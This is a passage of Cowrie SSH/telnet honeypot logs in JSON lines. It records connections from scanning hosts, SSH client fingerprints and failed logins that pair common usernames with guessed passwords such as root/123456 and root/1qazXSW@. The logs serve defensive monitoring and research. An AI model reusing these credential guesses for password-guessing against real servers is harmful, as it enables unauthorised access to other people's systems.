a","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:55.112220Z","src_ip":"43.163.119.215","session":"c372f1648081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.17407155036926,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:55.200310Z","src_ip":"142.93.69.27","session":"2df14212d263","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:55.826042Z","src_ip":"43.163.119.215","session":"c372f1648081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36228,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9eab70d9ef5","protocol":"ssh","message":"New connection: 103.75.199.4:36228 (159.203.135.109:22) [session: f9eab70d9ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:56.981944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:56.986186Z","src_ip":"103.75.199.4","session":"f9eab70d9ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:57.065729Z","src_ip":"43.163.119.215","session":"c372f1648081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:57.076882Z","src_ip":"103.75.199.4","session":"f9eab70d9ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:57.349358Z","src_ip":"103.75.199.4","session":"f9eab70d9ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:58.443362Z","src_ip":"103.75.199.4","session":"f9eab70d9ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":55306,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d23e40ec72","protocol":"ssh","message":"New connection: 67.102.183.113:55306 (10.17.0.5:22) [session: 09d23e40ec72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:09.825732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:09.829901Z","src_ip":"67.102.183.113","session":"09d23e40ec72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:09.899773Z","src_ip":"67.102.183.113","session":"09d23e40ec72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PassWord","message":"login attempt [root/PassWord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:10.212543Z","src_ip":"67.102.183.113","session":"09d23e40ec72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:11.285807Z","src_ip":"67.102.183.113","session":"09d23e40ec72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":50646,"dst_ip":"10.17.0.5","dst_port":22,"session":"5225d044b571","protocol":"ssh","message":"New connection: 43.163.119.215:50646 (10.17.0.5:22) [session: 5225d044b571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:17.014139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:17.018930Z","src_ip":"43.163.119.215","session":"5225d044b571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:17.265430Z","src_ip":"43.163.119.215","session":"5225d044b571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":34952,"dst_ip":"159.203.135.109","dst_port":22,"session":"509229b30686","protocol":"ssh","message":"New connection: 162.243.147.237:34952 (159.203.135.109:22) [session: 509229b30686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:17.337470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:17.345949Z","src_ip":"162.243.147.237","session":"509229b30686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:17.416387Z","src_ip":"162.243.147.237","session":"509229b30686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:17.727576Z","src_ip":"162.243.147.237","session":"509229b30686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:18.003742Z","src_ip":"43.163.119.215","session":"5225d044b571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:18.801265Z","src_ip":"162.243.147.237","session":"509229b30686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42380,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9b2cfaf89d2","protocol":"ssh","message":"New connection: 103.75.199.4:42380 (159.203.135.109:22) [session: b9b2cfaf89d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:18.936408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:18.941403Z","src_ip":"103.75.199.4","session":"b9b2cfaf89d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:19.033859Z","src_ip":"103.75.199.4","session":"b9b2cfaf89d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:19.252895Z","src_ip":"43.163.119.215","session":"5225d044b571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:19.310729Z","src_ip":"103.75.199.4","session":"b9b2cfaf89d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:20.434678Z","src_ip":"103.75.199.4","session":"b9b2cfaf89d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":50932,"dst_ip":"10.17.0.5","dst_port":22,"session":"9246dbfd3cf8","protocol":"ssh","message":"New connection: 205.209.121.72:50932 (10.17.0.5:22) [session: 9246dbfd3cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:25.874758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:25.879831Z","src_ip":"205.209.121.72","session":"9246dbfd3cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:25.885796Z","src_ip":"205.209.121.72","session":"9246dbfd3cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"segredo","message":"login attempt [root/segredo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:25.955366Z","src_ip":"205.209.121.72","session":"9246dbfd3cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:26.963886Z","src_ip":"205.209.121.72","session":"9246dbfd3cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":53136,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd9af5ff78b4","protocol":"ssh","message":"New connection: 43.153.46.75:53136 (159.203.135.109:22) [session: bd9af5ff78b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:35.725300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:35.730310Z","src_ip":"43.153.46.75","session":"bd9af5ff78b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:35.799434Z","src_ip":"43.153.46.75","session":"bd9af5ff78b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd@2020","message":"login attempt [root/P@$$w0rd@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:36.104098Z","src_ip":"43.153.46.75","session":"bd9af5ff78b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:37.176200Z","src_ip":"43.153.46.75","session":"bd9af5ff78b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45452,"dst_ip":"159.203.135.109","dst_port":22,"session":"069bd3ebd07a","protocol":"ssh","message":"New connection: 103.75.199.4:45452 (159.203.135.109:22) [session: 069bd3ebd07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:40.875540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:40.881626Z","src_ip":"103.75.199.4","session":"069bd3ebd07a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:40.973619Z","src_ip":"103.75.199.4","session":"069bd3ebd07a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:41.246734Z","src_ip":"103.75.199.4","session":"069bd3ebd07a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:42.340962Z","src_ip":"103.75.199.4","session":"069bd3ebd07a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":45268,"dst_ip":"10.17.0.5","dst_port":22,"session":"57b171b81197","protocol":"ssh","message":"New connection: 163.7.9.84:45268 (10.17.0.5:22) [session: 57b171b81197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:45.630667Z"}
